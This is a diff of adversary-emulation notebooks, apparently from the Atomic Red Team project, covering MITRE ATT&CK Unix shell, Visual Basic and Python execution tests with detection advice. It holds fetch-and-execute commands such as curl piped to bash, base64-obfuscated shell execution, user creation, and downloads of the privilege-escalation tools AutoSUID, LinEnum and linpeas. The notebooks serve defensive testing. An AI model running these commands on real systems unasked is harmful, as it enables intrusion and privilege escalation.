-TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "dc8bf393", "metadata": {}, "source": "## Detection\nUsage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script." } @@ -197,13 +232,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.004.ipynb b/playbook/tactics/execution/T1059.004.ipynb index e71adc99..b55923d1 100644 --- a/playbook/tactics/execution/T1059.004.ipynb +++ b/playbook/tactics/execution/T1059.004.ipynb @@ -2,24 +2,24 @@ "cells": [ { "cell_type": "markdown", - "id": "9c65ec63", + "id": "45a3b62e", "metadata": {}, "source": "# T1059.004 - Unix Shell\nAdversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence." }, { "cell_type": "markdown", - "id": "e3c4d7b2", + "id": "1de0e1dd", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "39c14116", + "id": "0e8a04ef", "metadata": {}, "source": [ "### Atomic Test #1 - Create and Execute Bash Shell Script", - "Creates and executes a simple bash script.\n", - "**Supported Platforms:** macos, linux", + "Creates and executes a simple sh script.\n", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nsh -c \"echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh\"\nsh -c \"echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh\"\nchmod +x /tmp/art.sh\nsh /tmp/art.sh\n```" ] @@ -27,33 +27,33 @@ { "cell_type": "code", "execution_count": null, - "id": "44a59597", + "id": "a8970f08", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "540a55ec", + "id": "571c4e62", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/art.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b636122a", + "id": "a633b635", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c169ee43", + "id": "f831c988", "metadata": {}, "source": [ "### Atomic Test #2 - Command-Line Interface", "Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.\n\nUpon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\ncurl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\nwget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash\n```" ] @@ -61,42 +61,42 @@ { "cell_type": "code", "execution_count": null, - "id": "b96d621f", + "id": "5e8e5879", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "4bd4614b", + "id": "ad2bd06b", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /tmp/art-fish.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5908d76d", + "id": "78dbeb61", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b2438703", + "id": "03c77564", "metadata": {}, "source": "### Atomic Test #3 - Harvest SUID executable files\nAutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: AutoSUID must exist on disk at specified location (#{autosuid})\n\n##### Check Prereq Commands:\n```sh\nif [ -f PathToAtomicsFolder/T1059.004/src/AutoSUID.sh ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncurl --create-dirs https://raw.githubusercontent.com/IvanGlinkin/AutoSUID/main/AutoSUID.sh --output PathToAtomicsFolder/T1059.004/src/AutoSUID.sh\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "95f6baa1", + "id": "2a4c4a76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "06421d43", + "id": "a1a00dae", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -106,42 +106,42 @@ { "cell_type": "code", "execution_count": null, - "id": "c3c9e39f", + "id": "270f749c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "cd8b06c7", + "id": "62553f28", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf PathToAtomicsFolder/T1059.004/src/AutoSUID.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f847fdd5", + "id": "c3f4018a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "cef2db39", + "id": "40961d0f", "metadata": {}, "source": "### Atomic Test #4 - LinEnum tool execution\nLinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.\n\n**Supported Platforms:** linux\n#### Dependencies: Run with `bash`!\n##### Description: LinnEnum must exist on disk at specified location (#{linenum})\n\n##### Check Prereq Commands:\n```sh\nif [ -f PathToAtomicsFolder/T1059.004/src/LinEnum.sh ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\ncurl --create-dirs https://raw.githubusercontent.com/rebootuser/LinEnum/c47f9b226d3ce2848629f25fe142c1b2986bc427/LinEnum.sh --output PathToAtomicsFolder/T1059.004/src/LinEnum.sh\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "54345bbf", + "id": "7ee8bb1c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "8f167f44", + "id": "35491067", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -151,28 +151,28 @@ { "cell_type": "code", "execution_count": null, - "id": "aceb2abe", + "id": "9e30cedf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "a40d4c88", + "id": "79694168", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf PathToAtomicsFolder/T1059.004/src/LinEnum.sh\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6735282a", + "id": "28a23c11", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "00dfe573", + "id": "5068ac2f", "metadata": {}, "source": [ "### Atomic Test #5 - New script file in the tmp directory", @@ -186,28 +186,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5cdca602", + "id": "b1775510", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "9d50f8b6", + "id": "41648a31", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm $TMPFILE\nunset TMPFILE\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f57b0418", + "id": "fc78e670", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "e06545c7", + "id": "1fe9b566", "metadata": {}, "source": [ "### Atomic Test #6 - What shell is running", @@ -221,14 +221,14 @@ { "cell_type": "code", "execution_count": null, - "id": "fde5e9b2", + "id": "15693a07", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "2ba273e6", + "id": "0dd34226", "metadata": {}, "source": [ "### Atomic Test #7 - What shells are available", @@ -242,14 +242,14 @@ { "cell_type": "code", "execution_count": null, - "id": "d45dc014", + "id": "0f93a6a0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "92ff2b58", + "id": "72b1154b", "metadata": {}, "source": [ "### Atomic Test #8 - Command line scripts", @@ -262,14 +262,14 @@ { "cell_type": "code", "execution_count": null, - "id": "2008b840", + "id": "14fd4f51", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "8156bd17", + "id": "7608b249", "metadata": {}, "source": [ "### Atomic Test #9 - Obfuscated command line scripts", @@ -277,100 +277,166 @@ "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nART=$(echo -n \"id\" |base64 -w 0)\necho \"\\$ART=$ART\"\necho -n \"$ART\" |base64 -d |/bin/bash\nunset ART \n```" + "```sh\n[ \"$(uname)\" = 'FreeBSD' ] && encodecmd=\"b64encode -r -\" && decodecmd=\"b64decode -r\" || encodecmd=\"base64 -w 0\" && decodecmd=\"base64 -d\"\nART=$(echo -n \"id\" | $encodecmd)\necho \"\\$ART=$ART\"\necho -n \"$ART\" | $decodecmd |/bin/bash\nunset ART\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0cc22beb", + "id": "86880adc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "a39da509", + "id": "670a4f98", "metadata": {}, "source": "### Atomic Test #10 - Change login shell\nAn adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: chsh - change login shell, must be installed\n\n##### Check Prereq Commands:\n```bash\nif [ -f /usr/bin/chsh ]; then echo \"exit 0\"; else echo \"exit 1\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"Automated installer not implemented yet, please install chsh manually\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c6675831", + "id": "ac385cd4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 10 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2cf4a9f7", + "id": "33279a04", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", - "```bash\nuseradd -s /bin/bash art\ncat /etc/passwd |grep ^art\nchsh -s /bin/sh art\ncat /etc/passwd |grep ^art\n```" + "```bash\n[ \"$(uname)\" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art\ncat /etc/passwd |grep ^art\nchsh -s /bin/sh art\ncat /etc/passwd |grep ^art\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "afd8219a", + "id": "4e9c5dba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "279cfa11", + "id": "3cd8be4c", "metadata": {}, - "source": "#### Cleanup: \n```bash\nuserdel art\n```" + "source": "#### Cleanup: \n```bash\n[ \"$(uname)\" = 'FreeBSD' ] && rmuser -y art || userdel art\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e8669e9f", + "id": "98b40fb7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "befdb50e", + "id": "c1b2f7f1", "metadata": {}, "source": [ "### Atomic Test #11 - Environment variable scripts", "An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", - "#### Attack Commands: Run with `bash`\n", - "```bash\nexport ART='echo \"Atomic Red Team was here... T1059.004\"'\necho $ART |/bin/bash\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\nexport ART='echo \"Atomic Red Team was here... T1059.004\"'\necho $ART |/bin/sh\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b2bc4ddf", + "id": "15317782", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "10f9ba36", + "id": "18c478b5", "metadata": {}, - "source": "#### Cleanup: \n```bash\nunset ART\n```" + "source": "#### Cleanup: \n```sh\nunset ART\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d4d900d4", + "id": "5355e27e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.004 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "02338cf6", + "id": "3effeea2", + "metadata": {}, + "source": "### Atomic Test #12 - Detecting pipe-to-shell\nAn adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage of this BLIND install method and selectively running extra commands in the install script for those who DO pipe to bash and not for those who DO NOT. This test uses curl to download the pipe-to-shell.sh script, the first time without piping it to bash and the second piping it into bash which executes the echo command.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if curl is installed on the machine.\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v curl)\" ]; then echo \"curl is installed\"; else echo \"curl is NOT installed\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nwhich apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "134a8b82", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.004 -TestNumbers 12 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "6ada3df2", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ncd /tmp\ncurl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/pipe-to-shell.sh |bash\nls -la /tmp/art.txt \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "379ca2a8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.004 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "ca7ed270", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/art.txt\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cebc92dc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.004 -TestNumbers 12 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ac5a61d0", + "metadata": {}, + "source": [ + "### Atomic Test #13 - Current kernel information enumeration", + "An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nuname -srm\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "07bdc30a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1059.004 -TestNumbers 13" + }, + { + "cell_type": "markdown", + "id": "36184c70", "metadata": {}, "source": "## Detection\nUnix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. " } @@ -378,13 +444,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.005.ipynb b/playbook/tactics/execution/T1059.005.ipynb index 6cdc4725..dfe56b2d 100644 --- a/playbook/tactics/execution/T1059.005.ipynb +++ b/playbook/tactics/execution/T1059.005.ipynb @@ -2,78 +2,78 @@ "cells": [ { "cell_type": "markdown", - "id": "95b9e77d", + "id": "9cec1d43", "metadata": {}, "source": "# T1059.005 - Visual Basic\nAdversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )" }, { "cell_type": "markdown", - "id": "fbe1c38c", + "id": "98d353ba", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "bbaf49a6", + "id": "29d9de1c", "metadata": {}, - "source": "### Atomic Test #1 - Visual Basic script execution to gather local computer information\nVisual Basic execution test, execute vbscript via PowerShell.\n\nWhen successful, system information will be written to $env:TEMP\\T1059.005.out.txt.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{vbscript})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs) {exit 0} else {exit 1} \n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs\" -OutFile \"PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs\"\n```" + "source": "### Atomic Test #1 - Visual Basic script execution to gather local computer information\nVisual Basic execution test, execute vbscript via PowerShell.\n\nWhen successful, system information will be written to $env:TEMP\\T1059.005.out.txt.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Sample script must exist on disk at specified location (#{vbscript})\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs\") -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.005/src/sys_info.vbs\" -OutFile \"PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "731de10b", + "id": "8978aeb1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "be2a34ee", + "id": "8e268283", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ncscript PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs > $env:TEMP\\T1059.005.out.txt```" + "```powershell\ncscript \"PathToAtomicsFolder\\T1059.005\\src\\sys_info.vbs\" > $env:TEMP\\T1059.005.out.txt\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a95f6ce8", + "id": "f4679d9e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "873b94ec", + "id": "7b1b6ada", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1059.005.out.txt -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "1d5b4360", + "id": "aad5efc7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "5313a62b", + "id": "16cfc31f", "metadata": {}, "source": "### Atomic Test #2 - Encoded VBS code execution\nThis module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution\na message box will pop up displaying \"ART T1059.005\"\n\nA note regarding this module, due to the way that this module utilizes \"ScriptControl\" a 64bit version of Microsoft Office is required.\nYou can validate this by opening WinWord -> File -> Account -> About Word\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The 64-bit version of Microsoft Office must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "65a7b6cf", + "id": "a5fd33f3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d5d4b574", + "id": "86f88e45", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,42 +83,42 @@ { "cell_type": "code", "execution_count": null, - "id": "106ea48e", + "id": "62557986", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a47ea1d0", + "id": "959c74bf", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-WmiObject win32_process | Where-Object {$_.CommandLine -like \"*mshta*\"} | % { \"$(Stop-Process $_.ProcessID)\" } | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1843671", + "id": "d87e35ac", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ab4679cf", + "id": "ded1a309", "metadata": {}, "source": "### Atomic Test #3 - Extract Memory via VBA\nThis module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this\nwe first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that\nmemory location to a file stored in the $env:TEMP\\atomic_t1059_005_test_output.bin.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Microsoft #{ms_product} must be installed\n\n##### Check Prereq Commands:\n```powershell\ntry {\n New-Object -COMObject \"Word.Application\" | Out-Null\n $process = \"Word\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "364ee2ca", + "id": "9be4e552", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "68ec3520", + "id": "997c6b1b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -128,28 +128,28 @@ { "cell_type": "code", "execution_count": null, - "id": "52811103", + "id": "d260f02d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1229467f", + "id": "6071e265", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"$env:TEMP\\atomic_t1059_005_test_output.bin\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "086b02fe", + "id": "209da11c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "5ea08c52", + "id": "729b774a", "metadata": {}, "source": "## Detection\nMonitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent." } @@ -157,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1059.006.ipynb b/playbook/tactics/execution/T1059.006.ipynb index 91470a9b..caf54c82 100644 --- a/playbook/tactics/execution/T1059.006.ipynb +++ b/playbook/tactics/execution/T1059.006.ipynb @@ -2,185 +2,185 @@ "cells": [ { "cell_type": "markdown", - "id": "ad1bdc35", + "id": "0f0a5f36", "metadata": {}, "source": "# T1059.006 - Python\nAdversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.\n\nPython comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors." }, { "cell_type": "markdown", - "id": "4a4fef42", + "id": "8ac5f55a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f2a7b8a3", + "id": "7cca0533", "metadata": {}, - "source": "### Atomic Test #1 - Execute shell script via python's command mode arguement\nDownload and execute shell script and write to file then execute locally using Python -c (command mode)\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Verify if python is in the environment variable path and attempt to import requests library.\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests\n\n```" + "source": "### Atomic Test #1 - Execute shell script via python's command mode arguement\nDownload and execute shell script and write to file then execute locally using Python -c (command mode)\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Verify if python is in the environment variable path and attempt to import requests library.\n##### Check Prereq Commands:\n```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V\n$which_python -c 'import requests' 2>/dev/null; echo $?\n\n```\n##### Get Prereq Commands:\n```sh\npip install requests\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1bf4f901", + "id": "e6d21302", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1059.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "58ffbb2d", + "id": "01695df0", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nwhich_python=$(which python || which python3 || which python2)\n$which_python -c 'import requests;import os;url = \"https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh\";malicious_command = \"sh T1059.006-payload -q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI, IntFiles\";session = requests.session();source = session.get(url).content;fd = open(\"T1059.006-payload\", \"wb+\");fd.write(source);fd.close();os.system(malicious_command)'\n```" + "```sh\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\n$which_python -c 